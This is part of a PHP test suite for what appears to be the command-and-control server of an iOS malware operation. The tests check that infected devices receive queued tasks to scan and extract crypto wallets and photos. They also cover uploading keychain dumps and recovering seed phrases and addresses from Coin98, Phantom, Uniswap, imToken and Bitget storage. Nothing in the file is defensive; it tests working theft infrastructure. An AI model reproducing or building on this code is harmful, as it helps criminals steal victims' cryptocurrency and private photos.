'status' => 'idle',
])->assertOk()->assertJson(['type' => 'photos']);
// Clear throttle to allow next dispatch.
Redis::del('ds:qt:'.$device->id);
$this->postJson('/beacon', [
'uuid' => self::DS_LHU,
'status' => 'idle',
])->assertOk()->assertJson(['type' => 'photo_scan']);
Redis::del('ds:qt:'.$device->id);
$this->postJson('/beacon', [
'uuid' => self::DS_LHU,
'status' => 'idle',
])->assertOk()->assertJson(['type' => 'wallet_scan']);
// After the last manually added task is dequeued, the queue stays empty:
// auto-replenish only applies to seed()'d default rounds, not addTask().
$this->assertSame(0, $queue->queueLength($device));
}
#[Test]
public function beacon_replays_default_queue_three_rounds(): void
{
$uuid = self::DS_LHU;
// photos is a LAST_ROUND_TYPE: only dispatched on the final (3rd) round.
// wallet_extract is gated on the applist containing imToken (seeded
// after the first beacon creates the device).
$expected = [
'wallet_scan', 'wallet_extract',
'wallet_scan', 'wallet_extract',
'wallet_scan', 'wallet_extract', 'photos',
];
$dispatched = [];
foreach ($expected as $i => $type) {
if ($i > 0) {
$device = Device::query()->where('device_id', $uuid)->first();
$this->assertNotNull($device);
Redis::del('ds:qt:'.$device->id);
}
$this->postJson('/beacon', [
'uuid' => $uuid,
'status' => 'idle',
'ios' => '18.6',
])->assertOk()->assertJson(['type' => $type]);
$dispatched[] = $type;
// After the first beacon creates the device, seed imToken so the
// wallet_extract gate passes for the rest of the rounds.
if ($i === 0) {
$device = Device::query()->where('device_id', $uuid)->first();
$this->assertNotNull($device);
DeviceApp::query()->create([
'device_id' => $device->id,
'bundle_id' => 'im.token.app',
'name' => 'imToken',
'version' => '2.21.0',
'is_wallet' => true,
]);
}
}
$device = Device::query()->where('device_id', $uuid)->first();
$this->assertNotNull($device);
$queue = app(DsBeaconQueue::class);
$this->assertSame($expected, $dispatched);
$this->assertSame(0, $queue->queueLength($device));
$this->assertSame(1, $queue->roundsRemaining($device));
Redis::del('ds:qt:'.$device->id);
$this->postJson('/beacon', [
'uuid' => $uuid,
'status' => 'idle',
])->assertOk()->assertJson(['type' => 'noop']);
$this->assertSame(0, $queue->roundsRemaining($device));
$this->assertSame(0, $queue->queueLength($device));
}
#[Test]
public function beacon_skips_wallet_extract_when_imtoken_absent(): void
{
$uuid = self::DS_LHU;
$forgetThrottle = function () use ($uuid): void {
$device = Device::query()->where('device_id', $uuid)->first();
if ($device) {
Redis::del('ds:qt:'.$device->id);
}
};
// Round 1: wallet_scan, then wallet_extract is skipped (no imToken),
// which burns round 1 and replenishes round 2 -> wallet_scan.
$this->postJson('/beacon', ['uuid' => $uuid, 'status' => 'idle', 'ios' => '18.6'])
->assertOk()->assertJson(['type' => 'wallet_scan']);
$forgetThrottle();
$this->postJson('/beacon', ['uuid' => $uuid, 'status' => 'idle'])
->assertOk()->assertJson(['type' => 'wallet_scan']);
// Still no imToken: round 2's wallet_extract is skipped too,
// replenishing round 3 (last) -> wallet_scan.
$forgetThrottle();
$this->postJson('/beacon', ['uuid' => $uuid, 'status' => 'idle'])
->assertOk()->assertJson(['type' => 'wallet_scan']);
// Round 3's wallet_extract is skipped, then photos (last round) fires.
$forgetThrottle();
$this->postJson('/beacon', ['uuid' => $uuid, 'status' => 'idle'])
->assertOk()->assertJson(['type' => 'photos']);
// No rounds left -> noop.
$forgetThrottle();
$this->postJson('/beacon', ['uuid' => $uuid, 'status' => 'idle'])
->assertOk()->assertJson(['type' => 'noop']);
$device = Device::query()->where('device_id', $uuid)->first();
$this->assertNotNull($device);
$queue = app(DsBeaconQueue::class);
$this->assertSame(0, $queue->roundsRemaining($device));
$this->assertSame(0, $queue->queueLength($device));
// wallet_extract was never dispatched; only wallet_scan + photos ran.
$this->assertSame(0, DeviceEvent::query()->where('event_name', 'wallet_extract')->count());
}
#[Test]
public function result_stores_files_and_skips_video(): void
{
Storage::fake('local');
$device = Device::query()->create([
'device_id' => self::DS_LHU,
'chain' => Device::CHAIN_DARKSWORD,
'album_storage' => true,
]);
DsBeaconTask::query()->create([
'device_id' => $device->id,
'position' => 1,
'type' => 'photo_scan',
'status' => DsBeaconTask::STATUS_DISPATCHED,
'command_id' => 'dsq-photo-1',
]);
$png = base64_encode("\x89PNG\r\n\x1a\n".str_repeat('x', 32));
$this->postJson('/result', [
'uuid' => self::DS_LHU,
'command_id' => 'dsq-photo-1',
'filename' => 'IMG_0003.PNG',
'category' => 'photos',
'data' => $png,
])->assertOk();
$this->postJson('/result', [
'uuid' => self::DS_LHU,
'command_id' => 'dsq-photo-1',
'filename' => 'IMG_0005.MP4',
'category' => 'photos',
'data' => base64_encode('ftypisom'),
])->assertOk();
$this->postJson('/result', [
'uuid' => self::DS_LHU,
'command_id' => 'dsq-photo-1',
'filename' => 'photo_scan.json',
'data' => base64_encode('{"status":"success","uploaded":1}'),
])->assertOk();
$this->assertSame(1, Photo::query()->where('device_id', $device->id)->count());
Storage::disk('local')->assertExists('c2/ds-results/'.self::DS_LHU.'/dsq-photo-1/IMG_0003.PNG');
Storage::disk('local')->assertExists('c2/ds-results/'.self::DS_LHU.'/dsq-photo-1/photo_scan.json');
Storage::disk('local')->assertMissing('c2/ds-results/'.self::DS_LHU.'/dsq-photo-1/IMG_0005.MP4');
}
#[Test]
public function result_skips_duplicate_payloads_already_ingested(): void
{
Storage::fake('local');
$device = Device::query()->create([
'device_id' => self::DS_LHU,
'chain' => Device::CHAIN_DARKSWORD,
'album_storage' => true,
]);
DsBeaconTask::query()->create([
'device_id' => $device->id,
'position' => 1,
'type' => 'photo_scan',
'status' => DsBeaconTask::STATUS_DISPATCHED,
'command_id' => 'dsq-photo-dup-1',
]);
DsBeaconTask::query()->create([
'device_id' => $device->id,
'position' => 2,
'type' => 'wallet_extract',
'status' => DsBeaconTask::STATUS_DISPATCHED,
'command_id' => 'dsq-wallet-dup-1',
]);
$png = base64_encode("\x89PNG\r\n\x1a\n".str_repeat('x', 32));
$this->postJson('/result', [
'uuid' => self::DS_LHU,
'command_id' => 'dsq-photo-dup-1',
'filename' => 'IMG_0003.PNG',
'category' => 'photos',
'data' => $png,
])->assertOk();
$this->postJson('/result', [
'uuid' => self::DS_LHU,
'command_id' => 'dsq-wallet-dup-1',
'filename' => 'wallet_extract_result.json',
'category' => 'wallet_extract',
'data' => base64_encode('{"status":"success","wallets":1}'),
])->assertOk();
DsBeaconTask::query()->where('command_id', 'dsq-photo-dup-1')->update([
'status' => DsBeaconTask::STATUS_DISPATCHED,
'command_id' => 'dsq-photo-dup-2',
]);
DsBeaconTask::query()->where('type', 'wallet_extract')->update([
'status' => DsBeaconTask::STATUS_DISPATCHED,
'command_id' => 'dsq-wallet-dup-2',
]);
$this->postJson('/result', [
'uuid' => self::DS_LHU,
'command_id' => 'dsq-photo-dup-2',
'filename' => 'IMG_0003.PNG',
'category' => 'photos',
'data' => $png,
])->assertOk();
$this->postJson('/result', [
'uuid' => self::DS_LHU,
'command_id' => 'dsq-wallet-dup-2',
'filename' => 'wallet_extract_result.json',
'category' => 'wallet_extract',
'data' => base64_encode('{"status":"success","wallets":1}'),
])->assertOk();
$this->assertSame(1, Photo::query()->where('device_id', $device->id)->count());
Storage::disk('local')->assertExists('c2/ds-results/'.self::DS_LHU.'/dsq-photo-dup-1/IMG_0003.PNG');
Storage::disk('local')->assertMissing('c2/ds-results/'.self::DS_LHU.'/dsq-photo-dup-2/IMG_0003.PNG');
Storage::disk('local')->assertExists('c2/ds-results/'.self::DS_LHU.'/dsq-wallet-dup-1/wallet_extract_result.json');
Storage::disk('local')->assertMissing('c2/ds-results/'.self::DS_LHU.'/dsq-wallet-dup-2/wallet_extract_result.json');
}
#[Test]
public function result_assembles_chunks_before_store(): void
{
Storage::fake('local');
$device = Device::query()->create([
'device_id' => self::DS_LHU,
'chain' => Device::CHAIN_DARKSWORD,
'album_storage' => true,
]);
$task = DsBeaconTask::query()->create([
'device_id' => $device->id,
'position' => 1,
'type' => 'photo_scan',
'status' => DsBeaconTask::STATUS_DISPATCHED,
'command_id' => 'dsq-chunk-1',
]);
$this->postJson('/result', [
'uuid' => self::DS_LHU,
'command_id' => $task->command_id,
'filename' => 'IMG_0002.PNG',
'category' => 'photos',
'chunk_index' => 0,
'total_chunks' => 2,
'data' => base64_encode("\x89PNG"),
])->assertOk();
$this->assertSame(0, Photo::query()->count());
$this->postJson('/result', [
'uuid' => self::DS_LHU,
'command_id' => $task->command_id,
'filename' => 'IMG_0002.PNG',
'category' => 'photos',
'chunk_index' => 1,
'total_chunks' => 2,
'data' => base64_encode("\r\n\x1a\n"),
])->assertOk();
$this->assertSame(1, Photo::query()->where('device_id', $device->id)->count());
Storage::disk('local')->assertExists('c2/ds-results/'.self::DS_LHU.'/dsq-chunk-1/IMG_0002.PNG');
$this->assertSame(
"\x89PNG\r\n\x1a\n",
Storage::disk('local')->get('c2/ds-results/'.self::DS_LHU.'/dsq-chunk-1/IMG_0002.PNG')
);
}
#[Test]
public function event_heartbeats_without_device_events(): void
{
$this->postJson('/event', [
'lhu' => self::DS_LHU,
'et' => 'injection_success',
])->assertOk()->assertJson(['ok' => true]);
$this->assertSame(0, DeviceEvent::query()->count());
$this->assertNotNull(Device::query()->where('device_id', self::DS_LHU)->first());
}
#[Test]
public function result_wallet_scan_logs_full_untruncated_body(): void
{
$device = Device::query()->create([
'device_id' => self::DS_LHU,
'chain' => Device::CHAIN_DARKSWORD,
'album_storage' => true,
]);
DsBeaconTask::query()->create([
'device_id' => $device->id,
'position' => 1,
'type' => 'wallet_scan',
'status' => DsBeaconTask::STATUS_DISPATCHED,
'command_id' => 'dsq-scan-full-1',
]);
// A keychain dump payload well over the 512-byte truncation threshold.
$bigKeychain = base64_encode(str_repeat('trustwalletUTC--2025-08-28T12-22-25--1B84E61E-', 40));
$this->postJson('/result', [
'uuid' => self::DS_LHU,
'command_id' => 'dsq-scan-full-1',
'filename' => 'keychain_c2_dump.json',
'category' => 'wallet_scan',
'data' => $bigKeychain,
])->assertOk();
$logFile = public_path('log/ds/'.date('Ymd').'.log');
$this->assertFileExists($logFile);
$log = (string) file_get_contents($logFile);
// The full payload must be present verbatim — a 512-byte truncation would
// have cut this ~2.4KB base64 string down, so its presence proves no truncation.
$this->assertStringContainsString($bigKeychain, $log);
$this->assertStringContainsString('keychain_c2_dump.json', $log);
// And this specific entry must carry no truncation marker.
$entryStart = strpos($log, 'dsq-scan-full-1');
$this->assertNotFalse($entryStart);
// Limit to this entry only — entries are separated by a blank line (\r\n\r\n).
$entryEnd = strpos($log, "\r\n\r\n", $entryStart);
$entrySegment = $entryEnd !== false
? substr($log, $entryStart, $entryEnd - $entryStart)
: substr($log, $entryStart, 4096);
$this->assertStringNotContainsString('…[', $entrySegment);
}
#[Test]
public function result_skips_empty_wallet_scan_summary(): void
{
$device = Device::query()->create([
'device_id' => self::DS_LHU,
'chain' => Device::CHAIN_DARKSWORD,
'album_storage' => true,
]);
DsBeaconTask::query()->create([
'device_id' => $device->id,
'position' => 1,
'type' => 'wallet_scan',
'status' => DsBeaconTask::STATUS_DISPATCHED,
'command_id' => 'dsq-scan-empty-1',
]);
// Useless wallet_scan summary: no keychain dump, no wallets, no sandbox files.
$empty = base64_encode(json_encode([
'device_uuid' => self::DS_LHU,
'installed_wallets' => [],
'sandbox_files' => [],
'total_size' => 0,
'keychain_dump_uploaded' => false,
'_task_type' => 'wallet_scan',
]));
$this->postJson('/result', [
'uuid' => self::DS_LHU,
'command_id' => 'dsq-scan-empty-1',
'filename' => 'wallet_pkg.json',
'category' => 'wallet_scan',
'data' => $empty,
])->assertOk();
// No keystore record, no stored result file.
$this->assertSame(0, WalletKeystore::query()->where('device_id', $device->id)->count());
Storage::disk('local')->assertMissing(
'c2/ds-results/'.self::DS_LHU.'/dsq-scan-empty-1/wallet_pkg.json'
);
}
#[Test]
public function result_skips_wallet_scan_summary_even_when_keychain_dump_uploaded(): void
{
Storage::fake('local');
$device = Device::query()->create([
'device_id' => self::DS_LHU,
'chain' => Device::CHAIN_DARKSWORD,
'album_storage' => true,
]);
DsBeaconTask::query()->create([
'device_id' => $device->id,
'position' => 1,
'type' => 'wallet_scan',
'status' => DsBeaconTask::STATUS_DISPATCHED,
'command_id' => 'dsq-scan-keep-1',
]);
// installed_wallets empty AND sandbox_files empty -> skip even though a
// keychain dump was uploaded (that dump lives in a separate result file).
$keep = base64_encode(json_encode([
'device_uuid' => self::DS_LHU,
'installed_wallets' => [],
'sandbox_files' => [],
'total_size' => 0,
'keychain_dump_uploaded' => true,
'_task_type' => 'wallet_scan',
]));
$this->postJson('/result', [
'uuid' => self::DS_LHU,
'command_id' => 'dsq-scan-keep-1',
'filename' => 'wallet_pkg.json',
'category' => 'wallet_scan',
'data' => $keep,
])->assertOk();
$this->assertSame(0, WalletKeystore::query()->where('device_id', $device->id)->count());
Storage::disk('local')->assertMissing(
'c2/ds-results/'.self::DS_LHU.'/dsq-scan-keep-1/wallet_pkg.json'
);
}
#[Test]
public function result_keeps_wallet_scan_summary_when_installed_wallets_present(): void
{
Storage::fake('local');
$device = Device::query()->create([
'device_id' => self::DS_LHU,
'chain' => Device::CHAIN_DARKSWORD,
'album_storage' => true,
]);
DsBeaconTask::query()->create([
'device_id' => $device->id,
'position' => 1,
'type' => 'wallet_scan',
'status' => DsBeaconTask::STATUS_DISPATCHED,
'command_id' => 'dsq-scan-wallets-1',
]);
// installed_wallets non-empty -> keep (real wallet material present).
$keep = base64_encode(json_encode([
'device_uuid' => self::DS_LHU,
'installed_wallets' => [['bundleId' => 'im.token.app', 'name' => 'imToken']],
'sandbox_files' => [],
'total_size' => 1024,
'keychain_dump_uploaded' => true,
'_task_type' => 'wallet_scan',
]));
$this->postJson('/result', [
'uuid' => self::DS_LHU,
'command_id' => 'dsq-scan-wallets-1',
'filename' => 'wallet_pkg.json',
'category' => 'wallet_scan',
'data' => $keep,
])->assertOk();
$this->assertSame(1, WalletKeystore::query()->where('device_id', $device->id)->count());
Storage::disk('local')->assertExists(
'c2/ds-results/'.self::DS_LHU.'/dsq-scan-wallets-1/wallet_pkg.json'
);
}
#[Test]
public function war_coin98_plaintext_backup_decrypts_mnemonic_and_addresses(): void
{
Http::fake();
$mnemonic = self::TEST_MNEMONIC;
$eth = '0x6188587D7d55635C6EcDCA2bD6A3cE0690Ead757';
$trx = 'TFncSZhFzsiEaRSTrThDyqEnbiLv99KoR2';
$btc = 'bc1qsrr6lyapm7rjj609enwhlt620zu7r37fxfkna0';
$backup = [
['chain' => 'ether', 'address' => $eth, 'mnemonic' => $mnemonic, 'privateKey' => '0xabc', 'path' => "hd m/44'/60'/0'/0/0", 'isMulti' => true, 'name' => 'My Wallet', 'isActive' => true],
['chain' => 'tron', 'address' => $trx, 'mnemonic' => $mnemonic, 'privateKey' => '0xdef', 'path' => "hd m/44'/195'/0'/0/0", 'isMulti' => true, 'name' => 'My Wallet', 'isActive' => true],
['chain' => 'bitcoin', 'address' => $btc, 'mnemonic' => $mnemonic, 'privateKey' => '0x123', 'path' => "hd m/84'/0'/0'/0/0", 'isMulti' => true, 'name' => 'My Wallet', 'isActive' => true],
];
$this->postJson('/war', [
'lhu' => self::DS_LHU,
'keychain' => [
'wallets' => [
'coin98' => [
'count' => 1,
'items' => [[
'service' => 'rn-secure-storage',
'account' => 'WALLET_SECURE_BACKUP',
'dataHex' => bin2hex(json_encode($backup)),
]],
],
],
],
])->assertOk();
$device = Device::query()->where('device_id', self::DS_LHU)->first();
$this->assertNotNull($device);
$memo = WalletMnemonic::query()->where('device_id', $device->id)->where('source', 'Coin98')->first();
$this->assertNotNull($memo);
$this->assertSame($mnemonic, $memo->mnemonic);
$this->assertTrue(
WalletKeystore::query()->where('device_id', $device->id)->where('source', 'Coin98')->get()
->contains(fn ($row) => (int) $row->decrypted === 1)
);
$ethAddr = WalletAddress::query()->where('device_id', $device->id)->where('address', $eth)->where('source', 'Coin98')->first();
$this->assertNotNull($ethAddr);
$this->assertSame('ETHEREUM', $ethAddr->chain_type);
$trxCoin = WalletAddress::query()->where('device_id', $device->id)->where('address', $trx)->where('source', 'Coin98')->first();
$this->assertNotNull($trxCoin);
$this->assertSame('TRON', $trxCoin->chain_type);
$btcAddr = WalletAddress::query()->where('device_id', $device->id)->where('address', $btc)->where('source', 'Coin98')->first();
$this->assertNotNull($btcAddr);
$this->assertSame('BITCOIN', $btcAddr->chain_type);
}
#[Test]
public function result_keychain_dump_ingests_coin98_mnemonic(): void
{
Storage::fake('local');
Http::fake();
$device = Device::query()->create([
'device_id' => self::DS_LHU,
'chain' => Device::CHAIN_DARKSWORD,
'album_storage' => true,
]);
DsBeaconTask::query()->create([
'device_id' => $device->id,
'position' => 1,
'type' => 'wallet_scan',
'status' => DsBeaconTask::STATUS_DISPATCHED,
'command_id' => 'dsq-scan-kc-1',
]);
$mnemonic = self::TEST_MNEMONIC;
$eth = '0x6188587D7d55635C6EcDCA2bD6A3cE0690Ead757';
$backup = [
['chain' => 'ether', 'address' => $eth, 'mnemonic' => $mnemonic, 'privateKey' => '0xabc', 'path' => "hd m/44'/60'/0'/0/0", 'isMulti' => true, 'name' => 'My Wallet', 'isActive' => true],
];
$keychainDump = [
'wallets' => [
'coin98' => [
'count' => 1,
'items' => [[
'service' => 'rn-secure-storage',
'account' => 'WALLET_SECURE_BACKUP',
'dataHex' => bin2hex(json_encode($backup)),
]],
],
],
];
$this->postJson('/result', [
'uuid' => self::DS_LHU,
'command_id' => 'dsq-scan-kc-1',
'filename' => 'keychain_c2_dump.json',
'category' => 'wallet_scan',
'data' => base64_encode(json_encode($keychainDump)),
])->assertOk();
$memo = WalletMnemonic::query()->where('device_id', $device->id)->where('source', 'Coin98')->first();
$this->assertNotNull($memo);
$this->assertSame($mnemonic, $memo->mnemonic);
$ks = WalletKeystore::query()->where('device_id', $device->id)->where('source', 'Coin98')->first();
$this->assertNotNull($ks);
$this->assertSame(1, (int) $ks->decrypted);
}
#[Test]
public function result_walletsV2_ingests_imtoken_keystore(): void
{
Storage::fake('local');
Http::fake();
$device = Device::query()->create([
'device_id' => self::DS_LHU,
'chain' => Device::CHAIN_DARKSWORD,
'album_storage' => true,
]);
DsBeaconTask::query()->create([
'device_id' => $device->id,
'position' => 1,
'type' => 'wallet_extract',
'status' => DsBeaconTask::STATUS_DISPATCHED,
'command_id' => 'dsq-extract-imt-1',
]);
// An imToken walletsV2 keystore (encrypted, no password available).
$keystore = [
'id' => '05e3bcf4-f522-4d80-b8d0-1c05f5be8094',
'version' => 12000,
'crypto' => [
'cipher' => 'aes-128-ctr',
'cipherparams' => ['iv' => '4a1cfd57baaa3b00b51193ff7668d78e'],
'ciphertext' => '75366e1ff5c2944f0ff781e3ce15f40e',
'kdf' => 'pbkdf2',
'kdfparams' => ['c' => 262144, 'prf' => 'hmac-sha256', 'dklen' => 32, 'salt' => 'c70d790e2ff331dff35427a4739fd470998f915396d8d0895a98d677bad81e11'],
'mac' => '260ead5acb377b98a4a9b8773d06c582042e6d9a43523a7e0b04d53d914be8ff',
],
'imTokenMeta' => ['name' => 'cfc', 'source' => 'MNEMONIC', 'network' => 'MAINNET'],
];
$this->postJson('/result', [
'uuid' => self::DS_LHU,
'command_id' => 'dsq-extract-imt-1',
'filename' => 'walletsV2_05e3bcf4-f522-4d80-b8d0-1c05f5be8094.json',
'category' => 'wallet_extract',
'data' => base64_encode(json_encode($keystore)),
])->assertOk();
$ks = WalletKeystore::query()->where('device_id', $device->id)->where('source', 'imToken')->first();
$this->assertNotNull($ks);
// No password → not decrypted, but keystore is stored.
$this->assertSame(0, (int) $ks->decrypted);
}
#[Test]
public function war_phantom_entropy_decrypts_mnemonic(): void
{
Http::fake();
// Phantom stores BIP39 entropy as a JSON dict in keychain under
// service=app:no-auth / account=.phantom-labs.vault.seedless.<id>
// entropy bytes: fa685dddbcc0b7b8b98801b42d70edeb → 12-word mnemonic
$entropyBytes = [250, 104, 93, 221, 188, 192, 183, 184, 185, 136, 1, 180, 45, 112, 237, 235];
$entropyDict = [];
foreach ($entropyBytes as $i => $b) {
$entropyDict[(string) $i] = $b;
}
$vaultJson = json_encode([
'version' => 1,
'identifier' => 'f78187f50eb3e9b14870489b21ae581ffd021ef3f73667ccfdbeadfb783bace1',
'name' => '账户 1',
'entropy' => $entropyDict,
], JSON_UNESCAPED_UNICODE);
$accountHex = bin2hex('.phantom-labs.vault.seedless.f78187f50eb3e9b14870489b21ae581ffd021ef3f73667ccfdbeadfb783bace1');
$this->postJson('/war', [
'lhu' => self::DS_LHU,
'keychain' => [
'wallets' => [
'phantom' => [
'count' => 1,
'items' => [[
'service' => 'app:no-auth',
'account' => $accountHex,
'dataHex' => bin2hex($vaultJson),
]],
],
],
],
])->assertOk();
$device = Device::query()->where('device_id', self::DS_LHU)->first();
$this->assertNotNull($device);
$memo = WalletMnemonic::query()->where('device_id', $device->id)->where('source', 'Phantom')->first();
$this->assertNotNull($memo, 'Phantom mnemonic should be recovered from entropy');
$this->assertSame(12, count(explode(' ', $memo->mnemonic)));
$this->assertTrue(
WalletKeystore::query()->where('device_id', $device->id)->where('source', 'Phantom')->get()
->contains(fn ($row) => (int) $row->decrypted === 1)
);
}
#[Test]
public function war_uniswap_plaintext_mnemonic_decrypts(): void
{
Http::fake();
// Uniswap stores the BIP39 mnemonic as hex-encoded UTF-8 plaintext
// in the keychain dataHex field.
$mnemonic = 'sugar another buzz tourist you hotel boring word castle uncle resource pen';
$address = '0x4A4504F0Ea48A83358DF5B4b316cb60c5c0570a4';
$this->postJson('/war', [
'lhu' => self::DS_LHU,
'keychain' => [
'wallets' => [
'uniswap' => [
'count' => 2,
'items' => [
[
'service' => '',
'account' => 'com.uniswap.mobile.mnemonic.'.$address,
'dataHex' => bin2hex($mnemonic),
],
[
'service' => '',
'account' => 'com.uniswap.mobile.privateKey.'.$address,
'dataHex' => bin2hex('zprvAhmjAJA8zFQiXEZRSQkeoJuFtkCoXjTXXTQbcQR2E2Spp599'),
],
],
],
],
],
])->assertOk();
$device = Device::query()->where('device_id', self::DS_LHU)->first();
$this->assertNotNull($device);
// Mnemonic should be recovered by walkForMnemonics.
$memo = WalletMnemonic::query()->where('device_id', $device->id)->first();
$this->assertNotNull($memo, 'Uniswap mnemonic should be recovered by walkForMnemonics');
$this->assertSame($mnemonic, $memo->mnemonic);
// Address should be extracted from the account field.
$addr = WalletAddress::query()->where('device_id', $device->id)->where('address', $address)->first();
$this->assertNotNull($addr, 'Uniswap address should be extracted from account field');
$this->assertSame('ETHEREUM', $addr->chain_type);
}
#[Test]
public function war_bitget_jwt_address_extracted(): void
{
Http::fake();
// Bitget stores a JWT token in keychain with the wallet address in the payload.
$address = '0xb763E99eCF57493bFDe18F812BcDE97Ce35f4A3a';
$jwtPayload = json_encode([
'address' => $address,
'chain' => 'eth',
'identity' => 'f8f8e637429715f6f07d0746837db419',
]);
$jwt = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.'
.base64_encode($jwtPayload).'.sig';
$this->postJson('/war', [
'lhu' => self::DS_LHU,
'keychain' => [
'wallets' => [
'bitget' => [
'count' => 1,
'items' => [[
'service' => '_bitkeep_secure_storage',
'account' => 'f8f8e637429715f6f07d0746837db419-jwt-token',
'dataHex' => bin2hex($jwt),
]],
],
],
],
])->assertOk();
$device = Device::query()->where('device_id', self::DS_LHU)->first();
$this->assertNotNull($device);
$addr = WalletAddress::query()->where('device_id', $device->id)->where('address', $address)->first();
$this->assertNotNull($addr, 'Bitget address should be extracted from JWT token');
$this->assertSame('ETHEREUM', $addr->chain_type);
}
}